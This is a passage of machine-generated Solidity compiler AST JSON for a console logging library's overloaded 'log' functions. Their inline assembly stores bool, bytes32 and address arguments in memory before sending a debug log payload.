260"}],"id":41123,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"224210:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41126,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"224210:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41127,"nodeType":"ExpressionStatement","src":"224210:28:22"},{"AST":{"nativeSrc":"224257:273:22","nodeType":"YulBlock","src":"224257:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"224278:4:22","nodeType":"YulLiteral","src":"224278:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"224284:2:22","nodeType":"YulIdentifier","src":"224284:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224271:6:22","nodeType":"YulIdentifier","src":"224271:6:22"},"nativeSrc":"224271:16:22","nodeType":"YulFunctionCall","src":"224271:16:22"},"nativeSrc":"224271:16:22","nodeType":"YulExpressionStatement","src":"224271:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224307:4:22","nodeType":"YulLiteral","src":"224307:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"224313:2:22","nodeType":"YulIdentifier","src":"224313:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224300:6:22","nodeType":"YulIdentifier","src":"224300:6:22"},"nativeSrc":"224300:16:22","nodeType":"YulFunctionCall","src":"224300:16:22"},"nativeSrc":"224300:16:22","nodeType":"YulExpressionStatement","src":"224300:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224336:4:22","nodeType":"YulLiteral","src":"224336:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"224342:2:22","nodeType":"YulIdentifier","src":"224342:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224329:6:22","nodeType":"YulIdentifier","src":"224329:6:22"},"nativeSrc":"224329:16:22","nodeType":"YulFunctionCall","src":"224329:16:22"},"nativeSrc":"224329:16:22","nodeType":"YulExpressionStatement","src":"224329:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224365:4:22","nodeType":"YulLiteral","src":"224365:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"224371:2:22","nodeType":"YulIdentifier","src":"224371:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224358:6:22","nodeType":"YulIdentifier","src":"224358:6:22"},"nativeSrc":"224358:16:22","nodeType":"YulFunctionCall","src":"224358:16:22"},"nativeSrc":"224358:16:22","nodeType":"YulExpressionStatement","src":"224358:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224394:4:22","nodeType":"YulLiteral","src":"224394:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"224400:2:22","nodeType":"YulIdentifier","src":"224400:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224387:6:22","nodeType":"YulIdentifier","src":"224387:6:22"},"nativeSrc":"224387:16:22","nodeType":"YulFunctionCall","src":"224387:16:22"},"nativeSrc":"224387:16:22","nodeType":"YulExpressionStatement","src":"224387:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224423:4:22","nodeType":"YulLiteral","src":"224423:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"224429:2:22","nodeType":"YulIdentifier","src":"224429:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224416:6:22","nodeType":"YulIdentifier","src":"224416:6:22"},"nativeSrc":"224416:16:22","nodeType":"YulFunctionCall","src":"224416:16:22"},"nativeSrc":"224416:16:22","nodeType":"YulExpressionStatement","src":"224416:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224452:4:22","nodeType":"YulLiteral","src":"224452:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"224458:2:22","nodeType":"YulIdentifier","src":"224458:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224445:6:22","nodeType":"YulIdentifier","src":"224445:6:22"},"nativeSrc":"224445:16:22","nodeType":"YulFunctionCall","src":"224445:16:22"},"nativeSrc":"224445:16:22","nodeType":"YulExpressionStatement","src":"224445:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224481:4:22","nodeType":"YulLiteral","src":"224481:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"224487:2:22","nodeType":"YulIdentifier","src":"224487:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224474:6:22","nodeType":"YulIdentifier","src":"224474:6:22"},"nativeSrc":"224474:16:22","nodeType":"YulFunctionCall","src":"224474:16:22"},"nativeSrc":"224474:16:22","nodeType":"YulExpressionStatement","src":"224474:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"224510:5:22","nodeType":"YulLiteral","src":"224510:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"224517:2:22","nodeType":"YulIdentifier","src":"224517:2:22"}],"functionName":{"name":"mstore","nativeSrc":"224503:6:22","nodeType":"YulIdentifier","src":"224503:6:22"},"nativeSrc":"224503:17:22","nodeType":"YulFunctionCall","src":"224503:17:22"},"nativeSrc":"224503:17:22","nodeType":"YulExpressionStatement","src":"224503:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41096,"isOffset":false,"isSlot":false,"src":"224284:2:22","valueSize":1},{"declaration":41099,"isOffset":false,"isSlot":false,"src":"224313:2:22","valueSize":1},{"declaration":41102,"isOffset":false,"isSlot":false,"src":"224342:2:22","valueSize":1},{"declaration":41105,"isOffset":false,"isSlot":false,"src":"224371:2:22","valueSize":1},{"declaration":41108,"isOffset":false,"isSlot":false,"src":"224400:2:22","valueSize":1},{"declaration":41111,"isOffset":false,"isSlot":false,"src":"224429:2:22","valueSize":1},{"declaration":41114,"isOffset":false,"isSlot":false,"src":"224458:2:22","valueSize":1},{"declaration":41117,"isOffset":false,"isSlot":false,"src":"224487:2:22","valueSize":1},{"declaration":41120,"isOffset":false,"isSlot":false,"src":"224517:2:22","valueSize":1}],"id":41128,"nodeType":"InlineAssembly","src":"224248:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"223015:3:22","parameters":{"id":41093,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41086,"mutability":"mutable","name":"p0","nameLocation":"223024:2:22","nodeType":"VariableDeclaration","scope":41130,"src":"223019:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41085,"name":"bool","nodeType":"ElementaryTypeName","src":"223019:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41088,"mutability":"mutable","name":"p1","nameLocation":"223036:2:22","nodeType":"VariableDeclaration","scope":41130,"src":"223028:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41087,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223028:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41090,"mutability":"mutable","name":"p2","nameLocation":"223048:2:22","nodeType":"VariableDeclaration","scope":41130,"src":"223040:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41089,"name":"bytes32","nodeType":"ElementaryTypeName","src":"223040:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":41092,"mutability":"mutable","name":"p3","nameLocation":"223060:2:22","nodeType":"VariableDeclaration","scope":41130,"src":"223052:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41091,"name":"address","nodeType":"ElementaryTypeName","src":"223052:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"223018:45:22"},"returnParameters":{"id":41094,"nodeType":"ParameterList","parameters":[],"src":"223078:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41176,"nodeType":"FunctionDefinition","src":"224542:1524:22","nodes":[],"body":{"id":41175,"nodeType":"Block","src":"224611:1455:22","nodes":[],"statements":[{"assignments":[41142],"declarations":[{"constant":false,"id":41142,"mutability":"mutable","name":"m0","nameLocation":"224629:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224621:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41141,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224621:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41143,"nodeType":"VariableDeclarationStatement","src":"224621:10:22"},{"assignments":[41145],"declarations":[{"constant":false,"id":41145,"mutability":"mutable","name":"m1","nameLocation":"224649:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224641:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41144,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224641:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41146,"nodeType":"VariableDeclarationStatement","src":"224641:10:22"},{"assignments":[41148],"declarations":[{"constant":false,"id":41148,"mutability":"mutable","name":"m2","nameLocation":"224669:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224661:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41147,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224661:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41149,"nodeType":"VariableDeclarationStatement","src":"224661:10:22"},{"assignments":[41151],"declarations":[{"constant":false,"id":41151,"mutability":"mutable","name":"m3","nameLocation":"224689:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224681:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41150,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224681:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41152,"nodeType":"VariableDeclarationStatement","src":"224681:10:22"},{"assignments":[41154],"declarations":[{"constant":false,"id":41154,"mutability":"mutable","name":"m4","nameLocation":"224709:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224701:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41153,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224701:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41155,"nodeType":"VariableDeclarationStatement","src":"224701:10:22"},{"assignments":[41157],"declarations":[{"constant":false,"id":41157,"mutability":"mutable","name":"m5","nameLocation":"224729:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224721:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41156,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224721:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41158,"nodeType":"VariableDeclarationStatement","src":"224721:10:22"},{"assignments":[41160],"declarations":[{"constant":false,"id":41160,"mutability":"mutable","name":"m6","nameLocation":"224749:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224741:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41159,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224741:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41161,"nodeType":"VariableDeclarationStatement","src":"224741:10:22"},{"assignments":[41163],"declarations":[{"constant":false,"id":41163,"mutability":"mutable","name":"m7","nameLocation":"224769:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224761:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41162,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224761:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41164,"nodeType":"VariableDeclarationStatement","src":"224761:10:22"},{"assignments":[41166],"declarations":[{"constant":false,"id":41166,"mutability":"mutable","name":"m8","nameLocation":"224789:2:22","nodeType":"VariableDeclaration","scope":41175,"src":"224781:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41165,"name":"bytes32","nodeType":"ElementaryTypeName","src":"224781:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41167,"nodeType":"VariableDeclarationStatement","src":"224781:10:22"},{"AST":{"nativeSrc":"224810:921:22","nodeType":"YulBlock","src":"224810:921:22","statements":[{"body":{"nativeSrc":"224853:313:22","nodeType":"YulBlock","src":"224853:313:22","statements":[{"nativeSrc":"224871:15:22","nodeType":"YulVariableDeclaration","src":"224871:15:22","value":{"kind":"number","nativeSrc":"224885:1:22","nodeType":"YulLiteral","src":"224885:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"224875:6:22","nodeType":"YulTypedName","src":"224875:6:22","type":""}]},{"body":{"nativeSrc":"224956:40:22","nodeType":"YulBlock","src":"224956:40:22","statements":[{"body":{"nativeSrc":"224985:9:22","nodeType":"YulBlock","src":"224985:9:22","statements":[{"nativeSrc":"224987:5:22","nodeType":"YulBreak","src":"224987:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"224973:6:22","nodeType":"YulIdentifier","src":"224973:6:22"},{"name":"w","nativeSrc":"224981:1:22","nodeType":"YulIdentifier","src":"224981:1:22"}],"functionName":{"name":"byte","nativeSrc":"224968:4:22","nodeType":"YulIdentifier","src":"224968:4:22"},"nativeSrc":"224968:15:22","nodeType":"YulFunctionCall","src":"224968:15:22"}],"functionName":{"name":"iszero","nativeSrc":"224961:6:22","nodeType":"YulIdentifier","src":"224961:6:22"},"nativeSrc":"224961:23:22","nodeType":"YulFunctionCall","src":"224961:23:22"},"nativeSrc":"224958:36:22","nodeType":"YulIf","src":"224958:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"224913:6:22","nodeType":"YulIdentifier","src":"224913:6:22"},{"kind":"number","nativeSrc":"224921:4:22","nodeType":"YulLiteral","src":"224921:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"224910:2:22","nodeType":"YulIdentifier","src":"224910:2:22"},"nativeSrc":"224910:16:22","nodeType":"YulFunctionCall","src":"224910:16:22"},"nativeSrc":"224903:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"224927:28:22","nodeType":"YulBlock","src":"224927:28:22","statements":[{"nativeSrc":"224929:24:22","nodeType":"YulAssignment","src":"224929:24:22","value":{"arguments":[{"name":"length","nativeSrc":"224943:6:22","nodeType":"YulIdentifier","src":"224943:6:22"},{"kind":"number","nativeSrc":"224951:1:22","nodeType":"YulLiteral","src":"224951:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"224939:3:22","nodeType":"YulIdentifier","src":"224939:3:22"},"nativeSrc":"224939:14:22","nodeType":"YulFunctionCall","src":"224939:14:22"},"variableNames":[{"name":"length","nativeSrc":"224929:6:22","nodeType":"YulIdentifier","src":"224929:6:22"}]}]},"pre":{"nativeSrc":"224907:2:22","nodeType":"YulBlock","src":"224907:2:22","statements":[]},"src":"224903:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"225020:3:22","nodeType":"YulIdentifier","src":"225020:3:22"},{"name":"length","nativeSrc":"225025:6:22","nodeType":"YulIdentifier","src":"225025:6:22"}],"functionName":{"name":"mstore","nativeSrc":"225013:6:22","nodeType":"YulIdentifier","src":"225013:6:22"},"nativeSrc":"225013:19:22","nodeType":"YulFunctionCall","src":"225013:19:22"},"nativeSrc":"225013:19:22","nodeType":"YulExpressionStatement","src":"225013:19:22"},{"nativeSrc":"225049:37:22","nodeType":"YulVariableDeclaration","src":"225049:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"225066:3:22","nodeType":"YulLiteral","src":"225066:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"225075:1:22","nodeType":"YulLiteral","src":"225075:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"225078:6:22","nodeType":"YulIdentifier","src":"225078:6:22"}],"functionName":{"name":"shl","nativeSrc":"225071:3:22","nodeType":"YulIdentifier","src":"225071:3:22"},"nativeSrc":"225071:14:22","nodeType":"YulFunctionCall","src":"225071:14:22"}],"functionName":{"name":"sub","nativeSrc":"225062:3:22","nodeType":"YulIdentifier","src":"225062:3:22"},"nativeSrc":"225062:24:22","nodeType":"YulFunctionCall","src":"225062:24:22"},"variables":[{"name":"shift","nativeSrc":"225053:5:22","nodeType":"YulTypedName","src":"225053:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"225114:3:22","nodeType":"YulIdentifier","src":"225114:3:22"},{"kind":"number","nativeSrc":"225119:4:22","nodeType":"YulLiteral","src":"225119:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"225110:3:22","nodeType":"YulIdentifier","src":"225110:3:22"},"nativeSrc":"225110:14:22","nodeType":"YulFunctionCall","src":"225110:14:22"},{"arguments":[{"name":"shift","nativeSrc":"225130:5:22","nodeType":"YulIdentifier","src":"225130:5:22"},{"arguments":[{"name":"shift","nativeSrc":"225141:5:22","nodeType":"YulIdentifier","src":"225141:5:22"},{"name":"w","nativeSrc":"225148:1:22","nodeType":"YulIdentifier","src":"225148:1:22"}],"functionName":{"name":"shr","nativeSrc":"225137:3:22","nodeType":"YulIdentifier","src":"225137:3:22"},"nativeSrc":"225137:13:22","nodeType":"YulFunctionCall","src":"225137:13:22"}],"functionName":{"name":"shl","nativeSrc":"225126:3:22","nodeType":"YulIdentifier","src":"225126:3:22"},"nativeSrc":"225126:25:22","nodeType":"YulFunctionCall","src":"225126:25:22"}],"functionName":{"name":"mstore","nativeSrc":"225103:6:22","nodeType":"YulIdentifier","src":"225103:6:22"},"nativeSrc":"225103:49:22","nodeType":"YulFunctionCall","src":"225103:49:22"},"nativeSrc":"225103:49:22","nodeType":"YulExpressionStatement","src":"225103:49:22"}]},"name":"writeString","nativeSrc":"224824:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"224845:3:22","nodeType":"YulTypedName","src":"224845:3:22","type":""},{"name":"w","nativeSrc":"224850:1:22","nodeType":"YulTypedName","src":"224850:1:22","type":""}],"src":"224824:342:22"},{"nativeSrc":"225179:17:22","nodeType":"YulAssignment","src":"225179:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225191:4:22","nodeType":"YulLiteral","src":"225191:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"225185:5:22","nodeType":"YulIdentifier","src":"225185:5:22"},"nativeSrc":"225185:11:22","nodeType":"YulFunctionCall","src":"225185:11:22"},"variableNames":[{"name":"m0","nativeSrc":"225179:2:22","nodeType":"YulIdentifier","src":"225179:2:22"}]},{"nativeSrc":"225209:17:22","nodeType":"YulAssignment","src":"225209:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225221:4:22","nodeType":"YulLiteral","src":"225221:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"225215:5:22","nodeType":"YulIdentifier","src":"225215:5:22"},"nativeSrc":"225215:11:22","nodeType":"YulFunctionCall","src":"225215:11:22"},"variableNames":[{"name":"m1","nativeSrc":"225209:2:22","nodeType":"YulIdentifier","src":"225209:2:22"}]},{"nativeSrc":"225239:17:22","nodeType":"YulAssignment","src":"225239:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225251:4:22","nodeType":"YulLiteral","src":"225251:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"225245:5:22","nodeType":"YulIdentifier","src":"225245:5:22"},"nativeSrc":"225245:11:22","nodeType":"YulFunctionCall","src":"225245:11:22"},"variableNames":[{"name":"m2","nativeSrc":"225239:2:22","nodeType":"YulIdentifier","src":"225239:2:22"}]},{"nativeSrc":"225269:17:22","nodeType":"YulAssignment","src":"225269:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225281:4:22","nodeType":"YulLiteral","src":"225281:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"225275:5:22","nodeType":"YulIdentifier","src":"225275:5:22"},"nativeSrc":"225275:11:22","nodeType":"YulFunctionCall","src":"225275:11:22"},"variableNames":[{"name":"m3","nativeSrc":"225269:2:22","nodeType":"YulIdentifier","src":"225269:2:22"}]},{"nativeSrc":"225299:17:22","nodeType":"YulAssignment","src":"225299:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225311:4:22","nodeType":"YulLiteral","src":"225311:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"225305:5:22","nodeType":"YulIdentifier","src":"225305:5:22"},"nativeSrc":"225305:11:22","nodeType":"YulFunctionCall","src":"225305:11:22"},"variableNames":[{"name":"m4","nativeSrc":"225299:2:22","nodeType":"YulIdentifier","src":"225299:2:22"}]},{"nativeSrc":"225329:17:22","nodeType":"YulAssignment","src":"225329:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225341:4:22","nodeType":"YulLiteral","src":"225341:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"225335:5:22","nodeType":"YulIdentifier","src":"225335:5:22"},"nativeSrc":"225335:11:22","nodeType":"YulFunctionCall","src":"225335:11:22"},"variableNames":[{"name":"m5","nativeSrc":"225329:2:22","nodeType":"YulIdentifier","src":"225329:2:22"}]},{"nativeSrc":"225359:17:22","nodeType":"YulAssignment","src":"225359:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225371:4:22","nodeType":"YulLiteral","src":"225371:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"225365:5:22","nodeType":"YulIdentifier","src":"225365:5:22"},"nativeSrc":"225365:11:22","nodeType":"YulFunctionCall","src":"225365:11:22"},"variableNames":[{"name":"m6","nativeSrc":"225359:2:22","nodeType":"YulIdentifier","src":"225359:2:22"}]},{"nativeSrc":"225389:17:22","nodeType":"YulAssignment","src":"225389:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"225401:4:22","nodeType":"YulLiteral","src":"225401:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"225395:5:22","nodeType":"YulIdentifier","src":"225395:5:22"},"nativeSrc":"225395:11:22","nodeType":"YulFunctionCall","src":"225395:11:22"},"variableNames":[{"name":"m7","nativeSrc":"225389:2:22","nodeType":"YulIdentifier","src":"225389:2:22"}]},{"nativeSrc":"225419:18:22","nodeType":"YulAssignment","src":"225419:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"225431:5:22","nodeType":"YulLiteral","src":"225431:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"225425:5:22","nodeType":"YulIdentifier","src":"225425:5:22"},"nativeSrc":"225425:12:22","nodeType":"YulFunctionCall","src":"225425:12:22"},"variableNames":[{"name":"m8","nativeSrc":"225419:2:22","nodeType":"YulIdentifier","src":"225419:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225516:4:22","nodeType":"YulLiteral","src":"225516:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"225522:10:22","nodeType":"YulLiteral","src":"225522:10:22","type":"","value":"0x1e4b87e5"}],"functionName":{"name":"mstore","nativeSrc":"225509:6:22","nodeType":"YulIdentifier","src":"225509:6:22"},"nativeSrc":"225509:24:22","nodeType":"YulFunctionCall","src":"225509:24:22"},"nativeSrc":"225509:24:22","nodeType":"YulExpressionStatement","src":"225509:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225553:4:22","nodeType":"YulLiteral","src":"225553:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"225559:2:22","nodeType":"YulIdentifier","src":"225559:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225546:6:22","nodeType":"YulIdentifier","src":"225546:6:22"},"nativeSrc":"225546:16:22","nodeType":"YulFunctionCall","src":"225546:16:22"},"nativeSrc":"225546:16:22","nodeType":"YulExpressionStatement","src":"225546:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225582:4:22","nodeType":"YulLiteral","src":"225582:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"225588:4:22","nodeType":"YulLiteral","src":"225588:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"225575:6:22","nodeType":"YulIdentifier","src":"225575:6:22"},"nativeSrc":"225575:18:22","nodeType":"YulFunctionCall","src":"225575:18:22"},"nativeSrc":"225575:18:22","nodeType":"YulExpressionStatement","src":"225575:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225613:4:22","nodeType":"YulLiteral","src":"225613:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"225619:4:22","nodeType":"YulLiteral","src":"225619:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"225606:6:22","nodeType":"YulIdentifier","src":"225606:6:22"},"nativeSrc":"225606:18:22","nodeType":"YulFunctionCall","src":"225606:18:22"},"nativeSrc":"225606:18:22","nodeType":"YulExpressionStatement","src":"225606:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225644:4:22","nodeType":"YulLiteral","src":"225644:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"225650:2:22","nodeType":"YulIdentifier","src":"225650:2:22"}],"functionName":{"name":"mstore","nativeSrc":"225637:6:22","nodeType":"YulIdentifier","src":"225637:6:22"},"nativeSrc":"225637:16:22","nodeType":"YulFunctionCall","src":"225637:16:22"},"nativeSrc":"225637:16:22","nodeType":"YulExpressionStatement","src":"225637:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225678:4:22","nodeType":"YulLiteral","src":"225678:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"225684:2:22","nodeType":"YulIdentifier","src":"225684:2:22"}],"functionName":{"name":"writeString","nativeSrc":"225666:11:22","nodeType":"YulIdentifier","src":"225666:11:22"},"nativeSrc":"225666:21:22","nodeType":"YulFunctionCall","src":"225666:21:22"},"nativeSrc":"225666:21:22","nodeType":"YulExpressionStatement","src":"225666:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"225712:4:22","nodeType":"YulLiteral","src":"225712:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"225718:2:22","nodeType":"YulIdentifier","src":"225718:2:22"}],"functionName":{"name":"writeString","nativeSrc":"225700:11:22","nodeType":"YulIdentifier","src":"225700:11:22"},"nativeSrc":"225700:21:22","nodeType":"YulFunctionCall","src":"225700:21:22"},"nativeSrc":"225700:21:22","nodeType":"YulExpressionStatement","src":"225700:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41142,"isOffset":false,"isSlot":false,"src":"225179:2:22","valueSize":1},{"declaration":41145,"isOffset":false,"isSlot":false,"src":"225209:2:22","valueSize":1},{"declaration":41148,"isOffset":false,"isSlot":false,"src":"225239:2:22","valueSize":1},{"declaration":41151,"isOffset":false,"isSlot":false,"src":"225269:2:22","valueSize":1},{"declaration":41154,"isOffset":false,"isSlot":false,"src":"225299:2:22","valueSize":1},{"declaration":41157,"isOffset":false,"isSlot":false,"src":"225329:2:22","valueSize":1},{"declaration":41160,"isOffset":false,"isSlot":false,"src":"225359:2:22","valueSize":1},{"declaration":41163,"isOffset":false,"isSlot":false,"src":"225389:2:22","valueSize":1},{"declaration":41166,"isOffset":false,"isSlot":false,"src":"225419:2:22","valueSize":1},{"declaration":41132,"isOffset":false,"isSlot":false,"src":"225559:2:22","valueSize":1},{"declaration":41134,"isOffset":false,"isSlot":false,"src":"225684:2:22","valueSize":1},{"declaration":41136,"isOffset":false,"isSlot":false,"src":"225718:2:22","valueSize":1},{"declaration":41138,"isOffset":false,"isSlot":false,"src":"225650:2:22","valueSize":1}],"id":41168,"nodeType":"InlineAssembly","src":"224801:930:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41170,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"225756:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":41171,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"225762:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 